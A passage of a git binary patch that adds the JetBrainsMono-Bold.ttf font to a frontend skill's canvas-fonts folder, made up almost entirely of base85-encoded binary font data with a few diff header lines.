zQQ*Wka#z%qU2CN^(s(Q%K@TKit2AF&U#vhod0yZHX+G`b*GiGx8>FS5j?5q(n<msO zuBx8mbc}L2rO5p0p8V!fPZZYW;vdP`M&Qkp=xbrj)3mZR1)T{}$&Gw>pk0YRuF&zC zQ2cQjMm7^8OS@K~m>NaY#Of)RSMook+nur_y}mAYzDp~sv$hsakq-J(<kT_FH7<)3 zmwpZU<AWXEFa0n1aAqY6M|<~zXCm^2z+7?WvM4DoB{@D>N=`1TD6P-ocArJsD9akB zEh9>fYBFo`GyFQ0&OZkBo#T7@fwef|BReK8i<VAEx8sc-KI5OzBCL;%7CR&QJnqKY z+VdTrF30y+FZ^UUkB7c@@?wYKJLsI)Q|DN)hV6kWdq%}Jv7O~LW%As%uF$UNj`8ib z>~EWAY}qkRYSEp$B)CD!ZEi<J(|&zR;|UF44wHuXEnmsn@z(=z6OuF~e#=(|1Gp4J ztiqQ@^tXEOhYx5#G`ZYY$}tuD7S!r=)=?F)R-?waR-K@a*J;&;bl|1f=st`BG{Y=R zG0ZTm@Z<5Ri_+p-rT_UxrTT`xJgvl-=U~hgdlZ!Qkc_PzH(}}c2`!@vCXdSJXUndw z#=qXGtH$6T$=G21^W}42H23-4J{y;L9JH?`pg(x<Y^Cn!FX>)~@<9d3j?F;TQcy;c ziBY57Ts1AKK%IykD-l*Rre8`Oc^|tyfxpD3ElrD`&2LK47HBuWr*64oy`{h`eW42M z)o6IL=3Jw?w3MgIS3UaBL%|lF3bv3rObaBA{n6(bi6q-sJgA{1C2m#GV&B4wn~U@+ zu1-sMYy9$o<^oIIs_dMZdqyS8a-_-gbbdYc3tEGIkrx$<Z{I|}%!B*FLrNv)d<xCL zp`y0kB1%mZTr#MKfy*)-S&}=`6qh&CQLwZucXEL`N=nU=zBo61pvTfxUZcvSiOTdR z%PvQ8eWWU?zOY;?ODcUKMyac>fWL>oB_LvWYOH!-sVgO)m)tqn5^``QS`1+h;_vkb z@sg9Oswy(;gF(C(D1_JSLI|&;EyFeI)|s(tX}c1}M1L`gQlq>UGNh+iL0H5}#>Uy; zsMR~Pjn*HzlJ3EVT0e&Chr<AMAB-V~lz#xjoiGFa7&Z$G@Up{bfDyvR-(Vd1VizzB zONz1|80t%fz>_fu4?<3Es2qaE@Y(u3RYbi9qdw}3(5bCjW4vj0x_g{O6A_sjWzpNl zsMM3g+RJmvsqs2lEn9UFCYw}Z)N&K&AY2vX<^(}OEUiSs`V!i12{{adoBn&a`!K*E zyKsAhjzkFmuHo?yF#v<{Zw{Yw2JlA=o_v(}<#w^7919aC_H;?X9X{kv@B}yy*Z=;l zx4sP=eq|m4nn(M?Y@dCGUG^M)ATSM5>*=csMjMOZp?myT$Z^Ur5NQwaWD%Faw1Txb z1_N0YgN!1-{o;DrW}98-nNd~{9amDfe0sGUYp&0_b)mN`%RYNsn9)=v>9q(wx~n!l zJbIzG26x)%N$%U9U7NXF6=qOD5&5^r<?CTlVTVHzK$=+n5OV(XK-};eA>#e9!((F4 zc*NQn5b*HYToUr#U;Sm0?@;TT&^m1l1>=v@dWN#E9o9Zy7L@LO9JOK6jXq2O7Bjq? zL3lzU6*`C0R5wVl`q54f7c9_Nj5+E%`8tI|Sn(($53}wDhm`o@IO0uzjPWhfei3V8 z-w#)hvY?cDmBf_(dM6d0(DsZ=-l*^-ygk3*iBfaF!i@g94Iy4o9C!2pFT(2wwZIwT zg@Wnga4z)Yn-R_g^acAb?TDM1Dc=b=5pN$cf=!cNt-bNb;@F1{@l`rLVIY{zS0Tnc zD3~2MNxmY*M~yQ6k`C=t4a7R(p$>1f`h%di{+PWAhEuD5shBI3YKXbQss#OgP-ul& z>;euGH>J@(FLwGd1Yy|t=^M(7@bBP-=A4Ij6a-~hyss(qgo2m!NW=z)i}Nbda~|eA zC2}-e%(p%yQwsJ9fgO9t!(n%iG$Q9U_{PA<WMmGWNrvrV`^a;OLRU!dv8ox4vh?68 zG$i%s5!A=RG+<Z~8pD+VUg$>X*w=h1_<{Hv_8l-0V<*DTzuLCFa{D&Twyl+0xA6tr zwpDHm-e4vdv`Vkw%0Lq3b#ohXP0owPcWC)PwdXz>8k1K`)<4Ih_Jg{($FR;{!) z89wgI$(HvGj{OGS76$$N05Fntg#G$A@KRRSP`r-_Lq81KX%JOdd_nDIP)nAYq9o@< zsb$6X523d<X#UT~%s)~DmHZ`veFCtj;G69c@UtNjF|-GPhr<M7xDYx2BwQerS?pVk zfPr@8heVr^sS6&3MV!SdPlV0~MV(2J#hig03yNA(Cb5`l{GMQ@g$u5llIOIuxp}2V zEix?<MV`e|Pf15_mqn@tzc!R;L9zHBq-^PL$Y?~)G`w^X@1dP5_#2cJtEEj=gbZi| zkg-4s3)rg5<XMvvG8(<!Q8`!6<OQP>iaRHzv?OaRjZGD9e{vOU_4TFI=eA=*_sZs! z_z6{Aon>hm)|`9CTN1GGUs>n&rNlVNdleC7#F{Chj6JOXFs4jl>I;l3$3e6&EVe8i zhtU6jqnL*L!Xn|1Lu)RO;#VLsA&S2gJg)eUc^ph5xG<WzTBzg&l8ryxNjVB3%6ACL z8~$U;<>4FwY}H*L|MP}h-K4c#c7dI%66>FEhe8jdtO{zvUeVXF_&YHFsV)p%DP3SM z-C>690(-V1+~oE5NZDZ-Lp=)Z^MrO;%-B8s4>CxOhONeaenH73QpKPZ+quLG>!Bi% z(mRNWdhp#}4dv}(8vy|mM9dJYMR%0UT{55845sZrC3P1u2pH4;^b5++&4fQh`CxH; zp^}WT=$bO~<Wa#4-Av0UDatl_AVYUqM(M8bOpU<k!bzqqeto)yM=4nwjgG=#Caxqe zt+rV*LYcVP+5OoZf%l5i%G$HyM8Yk_ovRS_qx=?%@eY^aA`e|*4wLcX3tLqV$$klh z@6E{~pXNhYd-6b2C{C+zPsvXYXAo_ljFhAD9W3|xc`C?^AnQ!oKmT3}Fu)_V&<;yG zObc6uHC0;pQuIN@nn&t`vi&kr8(bL1VOsG9Jrz~3FMCBx4%mes;nz@qWu#UEe+^Ub zVHz(FS78aOTFM`J9eEB|dk@Zkp%L1o<h~%;;&qJ4pv)H~UrfnA8NNRFKTy9O93NDl z_P9m+JOVq5(d0D^ZeQW<GyN1K34RX3v83PUL!1>$NhOa5ayJ;$P~QEnA7|jZFm4S( ztt9q{xACAe6JC@C`>rDDh_7(Oo}w+2yneV%_{_|PeDw5S{6f-DZpm9k)t4?)FHO&r z$K<b6UA$&(;1}~+Zksoivuh~Zq~W$@B^sZ@9+B)AqxH9bbqkWpHhyvo+QRBuQb{`y z-z=p$Vo1)@(A=1j)?6bb%>?cpSb7cJ#3KfTQl*9_)JV%lTqi?c@ZBP16N=m?a@C~Z zHbW?~bQsced055`WgDJ*ZAjXU(Cu(c<TVe)#HT}$)`X*iAf1Owu@k`cC1PRp-9Ru$ z@;q$aLZ~)`<5Ps{T+9g6?ZCdJQ^dVT;{4D?4vft4yzquc;PAQaLnsk;1AS8>twJJ) zMq7uHaATO5zZu?UxR{^YJ)|LUaT^<p7~ZS>V~cIM&>A}AhKTQPjw+fWetCrMCShd) ze-$TM1qd0zJQS1>KUThMh>Wyo`Muh}i{aF1c#k>|J(Mbu0SXOy9U6l5{=dovqCL!! z@_}fL@FO`v?_<Wfz}9GAZ=}`^Ky-hkwfBTYBu=Ryw`sI?{a1Zcc1TBRj~j$^|45UU zhx~A*)xBudO|kEP)$Y(;#E~d4hsoWKkfCI+C?Z6=rj%9sD#kaFcBV(pR-&)9N61*J z1FJ{OS`zV98dnW+D`@V)UJSB>hRyK{WfBkM_#vped6*<WTFVgCdqehNWV%C|6Vjv+ z`miyKc_a5FT!Ufe*nG_Bl!X>ObQV0U%zD9;*iZ&5xJ|oKpJ7)jj=o9?i)jQmWkj-~ z><OkW8>QDpgyUtWiN3q&{%LyhIJ3=cTd=-A*rCGr7H>atOm%LuTH2#}epdhiUJ-rb zeexAz=L=p{D4!;nlW!i%6Mj0FP$QD`7lg4wY7OPog!WFPvEfb)cu*xZ^C`mihjQbm z2u+ZJ4uiy+qzYb%62r!ZcZ4lJhAb$E!ySlOp9Pn}VTxG~WO;WC<QrZUO5aBLby5vK zgZUhL`r_;0;R0>1k32_=IP-G+-E}U-@d$8Nd^_DJzJiRPZy@Q-HDPb0oO2(+F5}H~ zDTY0Qp6gL3sK&Y6_LF>@Gd{s6TcwzNiShU!W*{;%sBA2<tME4toTzfEEkD{S8x!KC zFXI#U-HyUkc23_0whwW0;4K*_dv~a8XQ-$|6mXNEfU+?LXrMGQid~13({UbMA@YXc z38T+B(ERtI=IcWj{WOQs)3<?}1m&P7jP@VJ6Y5V04LH!ro%|B17&6tr4nEr2+S=B} zoo(~mX3uNGIN_UiK3aU!E_Q%J-?e*!T@Rg=Jc$|NYj@>0_=T;KI1&2(T}$6G$yY$z z2mT_%DEy5c_V4~x1{*0iB8&rnx#3^^orb$E<c~JA5BduZl%I4ZM@A6kCuJzvOs&Xb zS{s(X)c@WuvMoB1WO1dEUcvkJL+73q8FMU`o4s|RZ~ber4}U=95@8i!7HN6-GY0q| u9eJ`yWzxFbTjM>~d6vit5fv2?3GtTVSReoTq%5C&`^6XEe)!>CjQu|rt?CK@ literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/JetBrainsMono-Bold.ttf b/skills/frontend-dev/canvas-fonts/JetBrainsMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..1926c804b95bcd44835689b0ddf1ac10d0b7a805 GIT binary patch literal 114828 zcmd4433ydS(m&kY=OiI3*+@bX!X-ON2sbym*$9xGHGmLy1Of>p5R#aMT|iV+R8ZWI zK?iZe4H;z=*FjX=5OHH1MJF<dh>FN4A|igj>h6==gy8Eu-@NbhPoC=2U0q#OUA>+@ zb<Sm+G3JlJWNb)rNonPY%HxcQV#avmkTIjjjjnkmi?OIm#(cXC88^OgPVjvnGPWR( zvGNt8$Mtsv_HwTP?GbR9Ij+2*{OhcJJ&@jr^vKx@DjE`pUi%hf!8XRc3g=cdHIOvq z2jkjpZtapemnSd3o3WRkXYBm`>Z*#$;9I{hLjFwTXI2Bj-*#JyG~}_^>IKb<!?!K` z8)M0}j0HMs>t|OS^t?S0yw5S_8NHxlaf4eoQ4jh^(A(-N7F2!tzTbMrj9rX*6gSj2 zHBWiTc$%?+TNvyAr-sI=hHCd4t_Hmi=skAv->%+a-iRdQzx~F#<I2pN_%2q*b~1NL zx%?SS5XLxn{sU0$_&M*_T604u8fIQ6F(T7^{{FgCGrH&f$PD8carxxE2R6y;#|KXR zoOk{MbAxdXwC>=l{-6WvCR4#OjAdfc-0EghqNcf`mXmhDXf*>@!C_PUQKl@<-32Tv zCIL<WXNoCEyCJofaBPIS^6AXM^JNiFVDYzwiQoL$nXeJ;M(N>&66t&XH&svL98a+^ z{^x)G9i`&M$H=vTFUchf(w|@hkPZcevuOyYvqcD(;GeT)>}rJ9vV92mv-c5x#J)oK z4LgPKGzTZ%jr$?=M-SmVg!f07!3QGD=Mxc5=9eOz!RI5a<8=rdcmu)~z7XLuz8v8S zz6#-Leig!N`Lzgd;kO{X9letCyZBuQ|IGi4a4WwT;RF0Zgpcya5dMY#1>sJ<6X8?* zX@sxvR}j9&-#~bPzl-n#{ttwo@Iwec<DVgH<*f)0^M4`yf`5VV82=XGcO3QNXZRU} zzwloe7t}mlxC`_q(M@zi=qCaY28keqJwy+Lj|pfZo)S+nZl;@A%rJAzVF)LhH3%1* z*PzYm&&JnK>zmYe&$|g7=Pc4Zs^fxnGe6UDgJqiAblha|=4u^xW8r4Cj=Qs1vslMH z*ev6)j(1~$#sMAoWWx<ht~YZS<r?qf68GiN!lChgER&zp@t!P}f288*GCq8tj-#i; z%CasnQ83@3;|BBM59qkb{Lp@i#tmg}&~f+nI&u#d$d_t-H<rpr>bNJ%<$*fx#q3Pi zi+i&Swq4_)KU=QjzATlE(s4hQ%|dj%J9@d7j{76V*jQH27O)D;5W`qAuC=U&&1S<{ z6;g$)5ttg}HL)_#)dAY+`>_(X7*s@4h@4th`3KAWXVhiTr4m}SK+iv>*I1O83;J4U z*7yg@jD&=_tQz(CV=~(7{-2gChZM4DI|s`it~Kpghjtn5rP^^8$BC%-e^LvoZ8K{? z>*lil_-{hXH-bY0uubSeO^DaxS`X}8<d0^hY$Q|CnlNvc%0AJI*f_-IpwuF1@hV_y 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 